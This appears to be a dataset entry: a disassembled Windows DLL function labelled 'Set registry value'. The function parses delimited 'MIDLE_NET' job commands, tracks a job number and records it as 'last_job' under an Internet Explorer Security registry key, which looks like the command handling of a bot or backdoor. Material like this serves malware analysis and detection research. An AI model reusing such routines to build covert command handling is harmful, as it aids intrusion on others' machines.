Function at 0x10003720
Capabilities:
Set registry value

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebp
push eax
mov dword [esp + 0x10], eax
lea eax, [esp + 0xc]
push eax
mov word [esp + 0x10], 0x3b
mov word [esp + 0xc], 0x3d
call fcn.10001380
mov ebp, eax
add esp, 8
cmp ebp, 0xffffffff
mov dword [esp + 0x20], ebp
je 0x100039ab
push ebx
push esi
push edi
jmp 0x10003760
mov ebp, dword [esp + 0x2c]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push ebp
push 0
call ebx
mov esi, eax
test esi, esi
je 0x10003798
mov ecx, ebp
mov edx, ecx
shr ecx, 2
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x18]
push ebp
push eax
push esi
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov byte [esi + ebp], 0
lea ecx, [esp + 0x10]
push esi
push ecx
call fcn.10001380
add esp, 8
cmp eax, 0xffffffff
je 0x100039b0
lea edx, [esp + 0x10]
push esi
push edx
call fcn.10001380
add esp, 8
mov ebp, eax
push ebp
push 0
call ebx
mov ebx, eax
test ebx, ebx
jne 0x100037d0
mov dword [esp + 0x1c], eax
jmp 0x100037f7
mov ecx, ebp
mov edx, ecx
shr ecx, 2
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
push ebp
mov ecx, edx
and ecx, 3
push esi
push ebx
rep stosb byte es:[edi], al
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov byte [ebx + ebp], 0
mov dword [esp + 0x1c], ebx
mov edi, esi
lea ecx, [edi + 1]
lea esp, [esp]
mov al, byte [edi]
inc edi
test al, al
jne 0x10003800
lea eax, [esp + 0x10]
push esi
push eax
sub edi, ecx
call fcn.10001380
sub edi, eax
lea ecx, [esp + 0x18]
push esi
dec edi
push ecx
mov ebx, edi
call fcn.10001380
add esp, 0x10
push ebx
inc eax
push 0
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
je 0x10003864
mov ecx, ebx
mov edx, ecx
shr ecx, 2
xor eax, eax
mov edi, ebp
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x20]
push ebx
add eax, esi
push eax
push ebp
call sub.MSVCRT.dll_strncpy
add esp, 0xc
mov byte [ebx + ebp], 0
test esi, esi
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
je 0x10003871
push esi
call ebx
mov esi, dword [esp + 0x1c]
push 9
push str.MIDLE_NET
push esi
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
push ebp
jne 0x10003964
call sub.MSVCRT.dll_atoi
mov ecx, dword [0x100060dc]
add esp, 4
cmp ecx, eax
je 0x100039a8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
add esp, 4
mov edi, 0x68
call sub.MSVCRT.dll_rand
dec edi
jne 0x100038b8
push ebp
call sub.MSVCRT.dll_atoi
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x30]
mov dword [0x100060dc], eax
lea eax, [ecx + edx + 1]
push eax
mov dword [esp + 0x20], eax
lea eax, [esp + 0x1c]
push eax
call fcn.10001380
add esp, 0xc
test esi, esi
mov dword [esp + 0x2c], eax
je 0x100038f4
push esi
call ebx
test ebp, ebp
je 0x100038fb
push ebp
call ebx
mov ecx, dword [0x100060dc]
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x20]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftInternet_ExplorerSecurity
push reloc.WS2_32.dll_accept
mov dword [esp + 0x44], ecx
mov dword [esp + 0x40], 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edx, dword [esp + 0x1c]
push 4
lea ecx, [esp + 0x24]
push ecx
push 4
push 0
push str.last_job
push edx
mov dword [esp + 0x3c], 4
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1000399d
push esi
call fcn.10003610
add esp, 8
test esi, esi
je 0x10003974
push esi
call ebx
test ebp, ebp
je 0x1000397b
push ebp
call ebx
mov ebp, dword [esp + 0x2c]
mov ecx, dword [esp + 0x18]
lea eax, [ecx + ebp + 1]
push eax
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x20], eax
call fcn.10001380
add esp, 8
mov dword [esp + 0x2c], eax
cmp dword [esp + 0x2c], 0xffffffff
jne 0x1000375c
pop edi
pop esi
pop ebx
pop ebp
add esp, 0x18
ret
test esi, esi
je 0x1000397f
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x1000397f